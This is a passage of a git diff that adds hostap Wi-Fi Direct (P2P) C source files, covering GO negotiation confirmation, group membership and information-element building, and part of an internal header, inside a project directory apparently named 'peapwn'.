msg.dev_password_id); + status = P2P_SC_FAIL_INCOMPATIBLE_PROV_METHOD; + goto fail; + } + + if (go && p2p_go_select_channel(p2p, dev, &status) < 0) + goto fail; + + p2p_set_state(p2p, P2P_GO_NEG); + p2p_clear_timeout(p2p); + + p2p_dbg(p2p, "GO Negotiation with " MACSTR, MAC2STR(sa)); + os_memcpy(dev->intended_addr, msg.intended_addr, ETH_ALEN); + +fail: + conf = p2p_build_go_neg_conf(p2p, dev, msg.dialog_token, status, + msg.operating_channel, go); + p2p_parse_free(&msg); + if (conf == NULL) + return; + p2p_dbg(p2p, "Sending GO Negotiation Confirm"); + if (status == P2P_SC_SUCCESS) { + p2p->pending_action_state = P2P_PENDING_GO_NEG_CONFIRM; + dev->go_state = go ? LOCAL_GO : REMOTE_GO; + } else + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (rx_freq > 0) + freq = rx_freq; + else + freq = dev->listen_freq; + if (p2p_send_action(p2p, freq, sa, p2p->cfg->dev_addr, sa, + wpabuf_head(conf), wpabuf_len(conf), 0) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + p2p_go_neg_failed(p2p, dev, -1); + } + wpabuf_free(conf); + if (status != P2P_SC_SUCCESS) { + p2p_dbg(p2p, "GO Negotiation failed"); + p2p_go_neg_failed(p2p, dev, status); + } +} + + +void p2p_process_go_neg_conf(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len) +{ + struct p2p_device *dev; + struct p2p_message msg; + + p2p_dbg(p2p, "Received GO Negotiation Confirm from " MACSTR, + MAC2STR(sa)); + dev = p2p_get_device(p2p, sa); + if (dev == NULL || dev->wps_method == WPS_NOT_READY || + dev != p2p->go_neg_peer) { + p2p_dbg(p2p, "Not ready for GO negotiation with " MACSTR, + MAC2STR(sa)); + return; + } + + if (p2p->pending_action_state == P2P_PENDING_GO_NEG_RESPONSE) { + p2p_dbg(p2p, "Stopped waiting for TX status on GO Negotiation Response since we already received Confirmation"); + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + } + + if (p2p_parse(data, len, &msg)) + return; + + if (!(dev->flags & P2P_DEV_WAIT_GO_NEG_CONFIRM)) { + p2p_dbg(p2p, "Was not expecting GO Negotiation Confirm - ignore"); + return; + } + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_CONFIRM; + + if (msg.dialog_token != dev->dialog_token) { + p2p_dbg(p2p, "Unexpected Dialog Token %u (expected %u)", + msg.dialog_token, dev->dialog_token); + p2p_parse_free(&msg); + return; + } + + if (!msg.status) { + p2p_dbg(p2p, "No Status attribute received"); + p2p_parse_free(&msg); + return; + } + if (*msg.status) { + p2p_dbg(p2p, "GO Negotiation rejected: status %d", *msg.status); + p2p_go_neg_failed(p2p, dev, *msg.status); + p2p_parse_free(&msg); + return; + } + + if (dev->go_state == REMOTE_GO && msg.group_id) { + /* Store SSID for Provisioning step */ + p2p->ssid_len = msg.group_id_len - ETH_ALEN; + os_memcpy(p2p->ssid, msg.group_id + ETH_ALEN, p2p->ssid_len); + } else if (dev->go_state == REMOTE_GO) { + p2p_dbg(p2p, "Mandatory P2P Group ID attribute missing from GO Negotiation Confirmation"); + p2p->ssid_len = 0; + p2p_go_neg_failed(p2p, dev, P2P_SC_FAIL_INVALID_PARAMS); + p2p_parse_free(&msg); + return; + } + + if (!msg.operating_channel) { + p2p_dbg(p2p, "Mandatory Operating Channel attribute missing from GO Negotiation Confirmation"); +#ifdef CONFIG_P2P_STRICT + p2p_parse_free(&msg); + return; +#endif /* CONFIG_P2P_STRICT */ + } else if (dev->go_state == REMOTE_GO) { + int oper_freq = p2p_channel_to_freq(msg.operating_channel[3], + msg.operating_channel[4]); + if (oper_freq != dev->oper_freq) { + p2p_dbg(p2p, "Updated peer (GO) operating channel preference from %d MHz to %d MHz", + dev->oper_freq, oper_freq); + dev->oper_freq = oper_freq; + } + } + + if (!msg.channel_list) { + p2p_dbg(p2p, "Mandatory Operating Channel attribute missing from GO Negotiation Confirmation"); +#ifdef CONFIG_P2P_STRICT + p2p_parse_free(&msg); + return; +#endif /* CONFIG_P2P_STRICT */ + } + + p2p_parse_free(&msg); + + if (dev->go_state == UNKNOWN_GO) { + /* + * This should not happen since GO negotiation has already + * been completed. + */ + p2p_dbg(p2p, "Unexpected GO Neg state - do not know which end becomes GO"); + return; + } + + /* + * The peer could have missed our ctrl::ack frame for GO Negotiation + * Confirm and continue retransmitting the frame. To reduce the + * likelihood of the peer not getting successful TX status for the + * GO Negotiation Confirm frame, wait a short time here before starting + * the group so that we will remain on the current channel to + * acknowledge any possible retransmission from the peer. + */ + p2p_dbg(p2p, "20 ms wait on current channel before starting group"); + os_sleep(0, 20000); + + p2p_go_complete(p2p, dev); +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_group.c b/peapwn/mods/hostap/src/p2p/p2p_group.c new file mode 100644 index 000000000..92b558365 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_group.c @@ -0,0 +1,989 @@ +/* + * Wi-Fi Direct - P2P group operations + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "wps/wps_defs.h" +#include "wps/wps_i.h" +#include "p2p_i.h" +#include "p2p.h" + + +struct p2p_group_member { + struct p2p_group_member *next; + u8 addr[ETH_ALEN]; /* P2P Interface Address */ + u8 dev_addr[ETH_ALEN]; /* P2P Device Address */ + struct wpabuf *p2p_ie; + struct wpabuf *wfd_ie; + struct wpabuf *client_info; + u8 dev_capab; +}; + +/** + * struct p2p_group - Internal P2P module per-group data + */ +struct p2p_group { + struct p2p_data *p2p; + struct p2p_group_config *cfg; + struct p2p_group_member *members; + unsigned int num_members; + int group_formation; + int beacon_update; + struct wpabuf *noa; + struct wpabuf *wfd_ie; +}; + + +struct p2p_group * p2p_group_init(struct p2p_data *p2p, + struct p2p_group_config *config) +{ + struct p2p_group *group, **groups; + + group = os_zalloc(sizeof(*group)); + if (group == NULL) + return NULL; + + groups = os_realloc_array(p2p->groups, p2p->num_groups + 1, + sizeof(struct p2p_group *)); + if (groups == NULL) { + os_free(group); + return NULL; + } + groups[p2p->num_groups++] = group; + p2p->groups = groups; + + group->p2p = p2p; + group->cfg = config; + group->group_formation = 1; + group->beacon_update = 1; + p2p_group_update_ies(group); + group->cfg->idle_update(group->cfg->cb_ctx, 1); + + return group; +} + + +static void p2p_group_free_member(struct p2p_group_member *m) +{ + wpabuf_free(m->wfd_ie); + wpabuf_free(m->p2p_ie); + wpabuf_free(m->client_info); + os_free(m); +} + + +static void p2p_group_free_members(struct p2p_group *group) +{ + struct p2p_group_member *m, *prev; + m = group->members; + group->members = NULL; + group->num_members = 0; + while (m) { + prev = m; + m = m->next; + p2p_group_free_member(prev); + } +} + + +void p2p_group_deinit(struct p2p_group *group) +{ + size_t g; + struct p2p_data *p2p; + + if (group == NULL) + return; + + p2p = group->p2p; + + for (g = 0; g < p2p->num_groups; g++) { + if (p2p->groups[g] == group) { + while (g + 1 < p2p->num_groups) { + p2p->groups[g] = p2p->groups[g + 1]; + g++; + } + p2p->num_groups--; + break; + } + } + + p2p_group_free_members(group); + os_free(group->cfg); + wpabuf_free(group->noa); + wpabuf_free(group->wfd_ie); + os_free(group); +} + + +static void p2p_client_info(struct wpabuf *ie, struct p2p_group_member *m) +{ + if (m->client_info == NULL) + return; + if (wpabuf_tailroom(ie) < wpabuf_len(m->client_info) + 1) + return; + wpabuf_put_buf(ie, m->client_info); +} + + +static void p2p_group_add_common_ies(struct p2p_group *group, + struct wpabuf *ie) +{ + u8 dev_capab = group->p2p->dev_capab, group_capab = 0; + + /* P2P Capability */ + dev_capab &= ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + group_capab |= P2P_GROUP_CAPAB_GROUP_OWNER; + if (group->cfg->persistent_group) { + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_GROUP; + if (group->cfg->persistent_group == 2) + group_capab |= P2P_GROUP_CAPAB_PERSISTENT_RECONN; + } + if (group->p2p->cfg->p2p_intra_bss) + group_capab |= P2P_GROUP_CAPAB_INTRA_BSS_DIST; + if (group->group_formation) + group_capab |= P2P_GROUP_CAPAB_GROUP_FORMATION; + if (group->p2p->cross_connect) + group_capab |= P2P_GROUP_CAPAB_CROSS_CONN; + if (group->num_members >= group->cfg->max_clients) + group_capab |= P2P_GROUP_CAPAB_GROUP_LIMIT; + p2p_buf_add_capability(ie, dev_capab, group_capab); +} + + +static void p2p_group_add_noa(struct wpabuf *ie, struct wpabuf *noa) +{ + if (noa == NULL) + return; + /* Notice of Absence */ + wpabuf_put_u8(ie, P2P_ATTR_NOTICE_OF_ABSENCE); + wpabuf_put_le16(ie, wpabuf_len(noa)); + wpabuf_put_buf(ie, noa); +} + + +static struct wpabuf * p2p_group_encaps_probe_resp(struct wpabuf *subelems) +{ + struct wpabuf *ie; + const u8 *pos, *end; + size_t len; + + if (subelems == NULL) + return NULL; + + len = wpabuf_len(subelems) + 100; + + ie = wpabuf_alloc(len); + if (ie == NULL) + return NULL; + + pos = wpabuf_head(subelems); + end = pos + wpabuf_len(subelems); + + while (end > pos) { + size_t frag_len = end - pos; + if (frag_len > 251) + frag_len = 251; + wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); + wpabuf_put_u8(ie, 4 + frag_len); + wpabuf_put_be32(ie, P2P_IE_VENDOR_TYPE); + wpabuf_put_data(ie, pos, frag_len); + pos += frag_len; + } + + return ie; +} + + +static struct wpabuf * p2p_group_build_beacon_ie(struct p2p_group *group) +{ + struct wpabuf *ie; + u8 *len; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + if (group->p2p->wfd_ie_beacon) + extra = wpabuf_len(group->p2p->wfd_ie_beacon); +#endif /* CONFIG_WIFI_DISPLAY */ + + ie = wpabuf_alloc(257 + extra); + if (ie == NULL) + return NULL; + +#ifdef CONFIG_WIFI_DISPLAY + if (group->p2p->wfd_ie_beacon) + wpabuf_put_buf(ie, group->p2p->wfd_ie_beacon); +#endif /* CONFIG_WIFI_DISPLAY */ + + len = p2p_buf_add_ie_hdr(ie); + p2p_group_add_common_ies(group, ie); + p2p_buf_add_device_id(ie, group->p2p->cfg->dev_addr); + p2p_group_add_noa(ie, group->noa); + p2p_buf_update_ie_hdr(ie, len); + + return ie; +} + + +#ifdef CONFIG_WIFI_DISPLAY + +struct wpabuf * p2p_group_get_wfd_ie(struct p2p_group *g) +{ + return g->wfd_ie; +} + + +struct wpabuf * wifi_display_encaps(struct wpabuf *subelems) +{ + struct wpabuf *ie; + const u8 *pos, *end; + + if (subelems == NULL) + return NULL; + + ie = wpabuf_alloc(wpabuf_len(subelems) + 100); + if (ie == NULL) + return NULL; + + pos = wpabuf_head(subelems); + end = pos + wpabuf_len(subelems); + + while (end > pos) { + size_t frag_len = end - pos; + if (frag_len > 251) + frag_len = 251; + wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); + wpabuf_put_u8(ie, 4 + frag_len); + wpabuf_put_be32(ie, WFD_IE_VENDOR_TYPE); + wpabuf_put_data(ie, pos, frag_len); + pos += frag_len; + } + + return ie; +} + + +static int wifi_display_add_dev_info_descr(struct wpabuf *buf, + struct p2p_group_member *m) +{ + const u8 *pos, *end; + const u8 *dev_info = NULL; + const u8 *assoc_bssid = NULL; + const u8 *coupled_sink = NULL; + u8 zero_addr[ETH_ALEN]; + + if (m->wfd_ie == NULL) + return 0; + + os_memset(zero_addr, 0, ETH_ALEN); + pos = wpabuf_head_u8(m->wfd_ie); + end = pos + wpabuf_len(m->wfd_ie); + while (pos + 1 < end) { + u8 id; + u16 len; + + id = *pos++; + len = WPA_GET_BE16(pos); + pos += 2; + if (pos + len > end) + break; + + switch (id) { + case WFD_SUBELEM_DEVICE_INFO: + if (len < 6) + break; + dev_info = pos; + break; + case WFD_SUBELEM_ASSOCIATED_BSSID: + if (len < ETH_ALEN) + break; + assoc_bssid = pos; + break; + case WFD_SUBELEM_COUPLED_SINK: + if (len < 1 + ETH_ALEN) + break; + coupled_sink = pos; + break; + } + + pos += len; + } + + if (dev_info == NULL) + return 0; + + wpabuf_put_u8(buf, 23); + wpabuf_put_data(buf, m->dev_addr, ETH_ALEN); + if (assoc_bssid) + wpabuf_put_data(buf, assoc_bssid, ETH_ALEN); + else + wpabuf_put_data(buf, zero_addr, ETH_ALEN); + wpabuf_put_data(buf, dev_info, 2); /* WFD Device Info */ + wpabuf_put_data(buf, dev_info + 4, 2); /* WFD Device Max Throughput */ + if (coupled_sink) { + wpabuf_put_data(buf, coupled_sink, 1 + ETH_ALEN); + } else { + wpabuf_put_u8(buf, 0); + wpabuf_put_data(buf, zero_addr, ETH_ALEN); + } + + return 1; +} + + +static struct wpabuf * +wifi_display_build_go_ie(struct p2p_group *group) +{ + struct wpabuf *wfd_subelems, *wfd_ie; + struct p2p_group_member *m; + u8 *len; + unsigned int count = 0; + + if (!group->p2p->wfd_ie_probe_resp) + return NULL; + + wfd_subelems = wpabuf_alloc(wpabuf_len(group->p2p->wfd_ie_probe_resp) + + group->num_members * 24 + 100); + if (wfd_subelems == NULL) + return NULL; + if (group->p2p->wfd_dev_info) + wpabuf_put_buf(wfd_subelems, group->p2p->wfd_dev_info); + if (group->p2p->wfd_assoc_bssid) + wpabuf_put_buf(wfd_subelems, + group->p2p->wfd_assoc_bssid); + if (group->p2p->wfd_coupled_sink_info) + wpabuf_put_buf(wfd_subelems, + group->p2p->wfd_coupled_sink_info); + + /* Build WFD Session Info */ + wpabuf_put_u8(wfd_subelems, WFD_SUBELEM_SESSION_INFO); + len = wpabuf_put(wfd_subelems, 2); + m = group->members; + while (m) { + if (wifi_display_add_dev_info_descr(wfd_subelems, m)) + count++; + m = m->next; + } + + if (count == 0) { + /* No Wi-Fi Display clients - do not include subelement */ + wfd_subelems->used -= 3; + } else { + WPA_PUT_BE16(len, (u8 *) wpabuf_put(wfd_subelems, 0) - len - + 2); + p2p_dbg(group->p2p, "WFD: WFD Session Info: %u descriptors", + count); + } + + wfd_ie = wifi_display_encaps(wfd_subelems); + wpabuf_free(wfd_subelems); + + return wfd_ie; +} + +static void wifi_display_group_update(struct p2p_group *group) +{ + wpabuf_free(group->wfd_ie); + group->wfd_ie = wifi_display_build_go_ie(group); +} + +#endif /* CONFIG_WIFI_DISPLAY */ + + +static struct wpabuf * p2p_group_build_probe_resp_ie(struct p2p_group *group) +{ + struct wpabuf *p2p_subelems, *ie; + struct p2p_group_member *m; + + p2p_subelems = wpabuf_alloc(500); + if (p2p_subelems == NULL) + return NULL; + + p2p_group_add_common_ies(group, p2p_subelems); + p2p_group_add_noa(p2p_subelems, group->noa); + + /* P2P Device Info */ + p2p_buf_add_device_info(p2p_subelems, group->p2p, NULL); + + /* P2P Group Info: Only when at least one P2P Client is connected */ + if (group->members) { + u8 *group_info; + group_info = wpabuf_put(p2p_subelems, 0); + wpabuf_put_u8(p2p_subelems, P2P_ATTR_GROUP_INFO); + wpabuf_put_le16(p2p_subelems, 0); /* Length to be filled */ + for (m = group->members; m; m = m->next) + p2p_client_info(p2p_subelems, m); + WPA_PUT_LE16(group_info + 1, + (u8 *) wpabuf_put(p2p_subelems, 0) - group_info - + 3); + } + + ie = p2p_group_encaps_probe_resp(p2p_subelems); + wpabuf_free(p2p_subelems); + +#ifdef CONFIG_WIFI_DISPLAY + if (group->wfd_ie) { + struct wpabuf *wfd = wpabuf_dup(group->wfd_ie); + ie = wpabuf_concat(wfd, ie); + } +#endif /* CONFIG_WIFI_DISPLAY */ + + return ie; +} + + +void p2p_group_update_ies(struct p2p_group *group) +{ + struct wpabuf *beacon_ie; + struct wpabuf *probe_resp_ie; + +#ifdef CONFIG_WIFI_DISPLAY + wifi_display_group_update(group); +#endif /* CONFIG_WIFI_DISPLAY */ + + probe_resp_ie = p2p_group_build_probe_resp_ie(group); + if (probe_resp_ie == NULL) + return; + wpa_hexdump_buf(MSG_MSGDUMP, "P2P: Update GO Probe Response P2P IE", + probe_resp_ie); + + if (group->beacon_update) { + beacon_ie = p2p_group_build_beacon_ie(group); + if (beacon_ie) + group->beacon_update = 0; + wpa_hexdump_buf(MSG_MSGDUMP, "P2P: Update GO Beacon P2P IE", + beacon_ie); + } else + beacon_ie = NULL; + + group->cfg->ie_update(group->cfg->cb_ctx, beacon_ie, probe_resp_ie); +} + + +/** + * p2p_build_client_info - Build P2P Client Info Descriptor + * @addr: MAC address of the peer device + * @p2p_ie: P2P IE from (Re)Association Request + * @dev_capab: Buffer for returning Device Capability + * @dev_addr: Buffer for returning P2P Device Address + * Returns: P2P Client Info Descriptor or %NULL on failure + * + * This function builds P2P Client Info Descriptor based on the information + * available from (Re)Association Request frame. Group owner can use this to + * build the P2P Group Info attribute for Probe Response frames. + */ +static struct wpabuf * p2p_build_client_info(const u8 *addr, + struct wpabuf *p2p_ie, + u8 *dev_capab, u8 *dev_addr) +{ + const u8 *spos; + struct p2p_message msg; + u8 *len_pos; + struct wpabuf *buf; + + if (p2p_ie == NULL) + return NULL; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p_ie, &msg) || + msg.capability == NULL || msg.p2p_device_info == NULL) + return NULL; + + buf = wpabuf_alloc(ETH_ALEN + 1 + 1 + msg.p2p_device_info_len); + if (buf == NULL) + return NULL; + + *dev_capab = msg.capability[0]; + os_memcpy(dev_addr, msg.p2p_device_addr, ETH_ALEN); + + spos = msg.p2p_device_info; /* P2P Device address */ + + /* P2P Client Info Descriptor */ + /* Length to be set */ + len_pos = wpabuf_put(buf, 1); + /* P2P Device address */ + wpabuf_put_data(buf, spos, ETH_ALEN); + /* P2P Interface address */ + wpabuf_put_data(buf, addr, ETH_ALEN); + /* Device Capability Bitmap */ + wpabuf_put_u8(buf, msg.capability[0]); + /* + * Config Methods, Primary Device Type, Number of Secondary Device + * Types, Secondary Device Type List, Device Name copied from + * Device Info + */ + wpabuf_put_data(buf, spos + ETH_ALEN, + msg.p2p_device_info_len - ETH_ALEN); + + *len_pos = wpabuf_len(buf) - 1; + + + return buf; +} + + +static int p2p_group_remove_member(struct p2p_group *group, const u8 *addr) +{ + struct p2p_group_member *m, *prev; + + if (group == NULL) + return 0; + + m = group->members; + prev = NULL; + while (m) { + if (os_memcmp(m->addr, addr, ETH_ALEN) == 0) + break; + prev = m; + m = m->next; + } + + if (m == NULL) + return 0; + + if (prev) + prev->next = m->next; + else + group->members = m->next; + p2p_group_free_member(m); + group->num_members--; + + return 1; +} + + +int p2p_group_notif_assoc(struct p2p_group *group, const u8 *addr, + const u8 *ie, size_t len) +{ + struct p2p_group_member *m; + + if (group == NULL) + return -1; + + p2p_add_device(group->p2p, addr, 0, NULL, 0, ie, len, 0); + + m = os_zalloc(sizeof(*m)); + if (m == NULL) + return -1; + os_memcpy(m->addr, addr, ETH_ALEN); + m->p2p_ie = ieee802_11_vendor_ie_concat(ie, len, P2P_IE_VENDOR_TYPE); + if (m->p2p_ie) { + m->client_info = p2p_build_client_info(addr, m->p2p_ie, + &m->dev_capab, + m->dev_addr); + } +#ifdef CONFIG_WIFI_DISPLAY + m->wfd_ie = ieee802_11_vendor_ie_concat(ie, len, WFD_IE_VENDOR_TYPE); +#endif /* CONFIG_WIFI_DISPLAY */ + + p2p_group_remove_member(group, addr); + + m->next = group->members; + group->members = m; + group->num_members++; + p2p_dbg(group->p2p, "Add client " MACSTR + " to group (p2p=%d wfd=%d client_info=%d); num_members=%u/%u", + MAC2STR(addr), m->p2p_ie ? 1 : 0, m->wfd_ie ? 1 : 0, + m->client_info ? 1 : 0, + group->num_members, group->cfg->max_clients); + if (group->num_members == group->cfg->max_clients) + group->beacon_update = 1; + p2p_group_update_ies(group); + if (group->num_members == 1) + group->cfg->idle_update(group->cfg->cb_ctx, 0); + + return 0; +} + + +struct wpabuf * p2p_group_assoc_resp_ie(struct p2p_group *group, u8 status) +{ + struct wpabuf *resp; + u8 *rlen; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + if (group->wfd_ie) + extra = wpabuf_len(group->wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + /* + * (Re)Association Response - P2P IE + * Status attribute (shall be present when association request is + * denied) + * Extended Listen Timing (may be present) + */ + resp = wpabuf_alloc(20 + extra); + if (resp == NULL) + return NULL; + +#ifdef CONFIG_WIFI_DISPLAY + if (group->wfd_ie) + wpabuf_put_buf(resp, group->wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + rlen = p2p_buf_add_ie_hdr(resp); + if (status != P2P_SC_SUCCESS) + p2p_buf_add_status(resp, status); + p2p_buf_update_ie_hdr(resp, rlen); + + return resp; +} + + +void p2p_group_notif_disassoc(struct p2p_group *group, const u8 *addr) +{ + if (p2p_group_remove_member(group, addr)) { + p2p_dbg(group->p2p, "Remove client " MACSTR + " from group; num_members=%u/%u", + MAC2STR(addr), group->num_members, + group->cfg->max_clients); + if (group->num_members == group->cfg->max_clients - 1) + group->beacon_update = 1; + p2p_group_update_ies(group); + if (group->num_members == 0) + group->cfg->idle_update(group->cfg->cb_ctx, 1); + } +} + + +/** + * p2p_match_dev_type_member - Match client device type with requested type + * @m: Group member + * @wps: WPS TLVs from Probe Request frame (concatenated WPS IEs) + * Returns: 1 on match, 0 on mismatch + * + * This function can be used to match the Requested Device Type attribute in + * WPS IE with the device types of a group member for deciding whether a GO + * should reply to a Probe Request frame. + */ +static int p2p_match_dev_type_member(struct p2p_group_member *m, + struct wpabuf *wps) +{ + const u8 *pos, *end; + struct wps_parse_attr attr; + u8 num_sec; + + if (m->client_info == NULL || wps == NULL) + return 0; + + pos = wpabuf_head(m->client_info); + end = pos + wpabuf_len(m->client_info); + + pos += 1 + 2 * ETH_ALEN + 1 + 2; + if (end - pos < WPS_DEV_TYPE_LEN + 1) + return 0; + + if (wps_parse_msg(wps, &attr)) + return 1; /* assume no Requested Device Type attributes */ + + if (attr.num_req_dev_type == 0) + return 1; /* no Requested Device Type attributes -> match */ + + if (dev_type_list_match(pos, attr.req_dev_type, attr.num_req_dev_type)) + return 1; /* Match with client Primary Device Type */ + + pos += WPS_DEV_TYPE_LEN; + num_sec = *pos++; + if (end - pos < num_sec * WPS_DEV_TYPE_LEN) + return 0; + while (num_sec > 0) { + num_sec--; + if (dev_type_list_match(pos, attr.req_dev_type, + attr.num_req_dev_type)) + return 1; /* Match with client Secondary Device Type */ + pos += WPS_DEV_TYPE_LEN; + } + + /* No matching device type found */ + return 0; +} + + +int p2p_group_match_dev_type(struct p2p_group *group, struct wpabuf *wps) +{ + struct p2p_group_member *m; + + if (p2p_match_dev_type(group->p2p, wps)) + return 1; /* Match with own device type */ + + for (m = group->members; m; m = m->next) { + if (p2p_match_dev_type_member(m, wps)) + return 1; /* Match with group client device type */ + } + + /* No match with Requested Device Type */ + return 0; +} + + +int p2p_group_match_dev_id(struct p2p_group *group, struct wpabuf *p2p) +{ + struct p2p_group_member *m; + struct p2p_message msg; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_p2p_ie(p2p, &msg)) + return 1; /* Failed to parse - assume no filter on Device ID */ + + if (!msg.device_id) + return 1; /* No filter on Device ID */ + + if (os_memcmp(msg.device_id, group->p2p->cfg->dev_addr, ETH_ALEN) == 0) + return 1; /* Match with our P2P Device Address */ + + for (m = group->members; m; m = m->next) { + if (os_memcmp(msg.device_id, m->dev_addr, ETH_ALEN) == 0) + return 1; /* Match with group client P2P Device Address */ + } + + /* No match with Device ID */ + return 0; +} + + +void p2p_group_notif_formation_done(struct p2p_group *group) +{ + if (group == NULL) + return; + group->group_formation = 0; + group->beacon_update = 1; + p2p_group_update_ies(group); +} + + +int p2p_group_notif_noa(struct p2p_group *group, const u8 *noa, + size_t noa_len) +{ + if (noa == NULL) { + wpabuf_free(group->noa); + group->noa = NULL; + } else { + if (group->noa) { + if (wpabuf_size(group->noa) >= noa_len) { + group->noa->used = 0; + wpabuf_put_data(group->noa, noa, noa_len); + } else { + wpabuf_free(group->noa); + group->noa = NULL; + } + } + + if (!group->noa) { + group->noa = wpabuf_alloc_copy(noa, noa_len); + if (group->noa == NULL) + return -1; + } + } + + group->beacon_update = 1; + p2p_group_update_ies(group); + return 0; +} + + +static struct p2p_group_member * p2p_group_get_client(struct p2p_group *group, + const u8 *dev_id) +{ + struct p2p_group_member *m; + + for (m = group->members; m; m = m->next) { + if (os_memcmp(dev_id, m->dev_addr, ETH_ALEN) == 0) + return m; + } + + return NULL; +} + + +static struct p2p_group_member * p2p_group_get_client_iface( + struct p2p_group *group, const u8 *interface_addr) +{ + struct p2p_group_member *m; + + for (m = group->members; m; m = m->next) { + if (os_memcmp(interface_addr, m->addr, ETH_ALEN) == 0) + return m; + } + + return NULL; +} + + +const u8 * p2p_group_get_dev_addr(struct p2p_group *group, const u8 *addr) +{ + struct p2p_group_member *m; + + if (group == NULL) + return NULL; + m = p2p_group_get_client_iface(group, addr); + if (m && !is_zero_ether_addr(m->dev_addr)) + return m->dev_addr; + return NULL; +} + + +static struct wpabuf * p2p_build_go_disc_req(void) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(100); + if (buf == NULL) + return NULL; + + p2p_buf_add_action_hdr(buf, P2P_GO_DISC_REQ, 0); + + return buf; +} + + +int p2p_group_go_discover(struct p2p_group *group, const u8 *dev_id, + const u8 *searching_dev, int rx_freq) +{ + struct p2p_group_member *m; + struct wpabuf *req; + struct p2p_data *p2p = group->p2p; + int freq; + + m = p2p_group_get_client(group, dev_id); + if (m == NULL || m->client_info == NULL) { + p2p_dbg(group->p2p, "Requested client was not in this group " + MACSTR, MAC2STR(group->cfg->interface_addr)); + return -1; + } + + if (!(m->dev_capab & P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY)) { + p2p_dbg(group->p2p, "Requested client does not support client discoverability"); + return -1; + } + + p2p_dbg(group->p2p, "Schedule GO Discoverability Request to be sent to " + MACSTR, MAC2STR(dev_id)); + + req = p2p_build_go_disc_req(); + if (req == NULL) + return -1; + + /* TODO: Should really use group operating frequency here */ + freq = rx_freq; + + p2p->pending_action_state = P2P_PENDING_GO_DISC_REQ; + if (p2p->cfg->send_action(p2p->cfg->cb_ctx, freq, m->addr, + group->cfg->interface_addr, + group->cfg->interface_addr, + wpabuf_head(req), wpabuf_len(req), 200) < 0) + { + p2p_dbg(p2p, "Failed to send Action frame"); + } + + wpabuf_free(req); + + return 0; +} + + +const u8 * p2p_group_get_interface_addr(struct p2p_group *group) +{ + return group->cfg->interface_addr; +} + + +u8 p2p_group_presence_req(struct p2p_group *group, + const u8 *client_interface_addr, + const u8 *noa, size_t noa_len) +{ + struct p2p_group_member *m; + u8 curr_noa[50]; + int curr_noa_len; + + m = p2p_group_get_client_iface(group, client_interface_addr); + if (m == NULL || m->client_info == NULL) { + p2p_dbg(group->p2p, "Client was not in this group"); + return P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE; + } + + wpa_hexdump(MSG_DEBUG, "P2P: Presence Request NoA", noa, noa_len); + + if (group->p2p->cfg->get_noa) + curr_noa_len = group->p2p->cfg->get_noa( + group->p2p->cfg->cb_ctx, group->cfg->interface_addr, + curr_noa, sizeof(curr_noa)); + else + curr_noa_len = -1; + if (curr_noa_len < 0) + p2p_dbg(group->p2p, "Failed to fetch current NoA"); + else if (curr_noa_len == 0) + p2p_dbg(group->p2p, "No NoA being advertized"); + else + wpa_hexdump(MSG_DEBUG, "P2P: Current NoA", curr_noa, + curr_noa_len); + + /* TODO: properly process request and store copy */ + if (curr_noa_len > 0 || curr_noa_len == -1) + return P2P_SC_FAIL_UNABLE_TO_ACCOMMODATE; + + return P2P_SC_SUCCESS; +} + + +unsigned int p2p_get_group_num_members(struct p2p_group *group) +{ + return group->num_members; +} + + +const u8 * p2p_iterate_group_members(struct p2p_group *group, void **next) +{ + struct p2p_group_member *iter = *next; + + if (!iter) + iter = group->members; + else + iter = iter->next; + + *next = iter; + + if (!iter) + return NULL; + + return iter->addr; +} + + +int p2p_group_is_client_connected(struct p2p_group *group, const u8 *dev_addr) +{ + struct p2p_group_member *m; + + for (m = group->members; m; m = m->next) { + if (os_memcmp(m->dev_addr, dev_addr, ETH_ALEN) == 0) + return 1; + } + + return 0; +} + + +int p2p_group_is_group_id_match(struct p2p_group *group, const u8 *group_id, + size_t group_id_len) +{ + if (group_id_len != ETH_ALEN + group->cfg->ssid_len) + return 0; + if (os_memcmp(group_id, group->p2p->cfg->dev_addr, ETH_ALEN) != 0) + return 0; + return os_memcmp(group_id + ETH_ALEN, group->cfg->ssid, + group->cfg->ssid_len) == 0; +} + + +void p2p_group_force_beacon_update_ies(struct p2p_group *group) +{ + group->beacon_update = 1; + p2p_group_update_ies(group); +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_i.h b/peapwn/mods/hostap/src/p2p/p2p_i.h new file mode 100644 index 000000000..efc163a08 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_i.h @@ -0,0 +1,748 @@ +/* + * P2P - Internal definitions for P2P module + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef P2P_I_H +#define P2P_I_H + +#include "utils/list.h" +#include "p2p.h" + +enum p2p_go_state { + UNKNOWN_GO, + LOCAL_GO, + REMOTE_GO +}; + +/** + * struct p2p_device - P2P Device data (internal to P2P module) + */ +struct p2p_device { + struct dl_list list; + struct os_time last_seen; + int listen_freq; + enum p2p_wps_method wps_method; + + struct p2p_peer_info info; + + /* + * If the peer was discovered based on an interface address (e.g., GO + * from Beacon/Probe Response), the interface address is stored here. + * p2p_device_addr must still be set in such a case to the unique + * identifier for 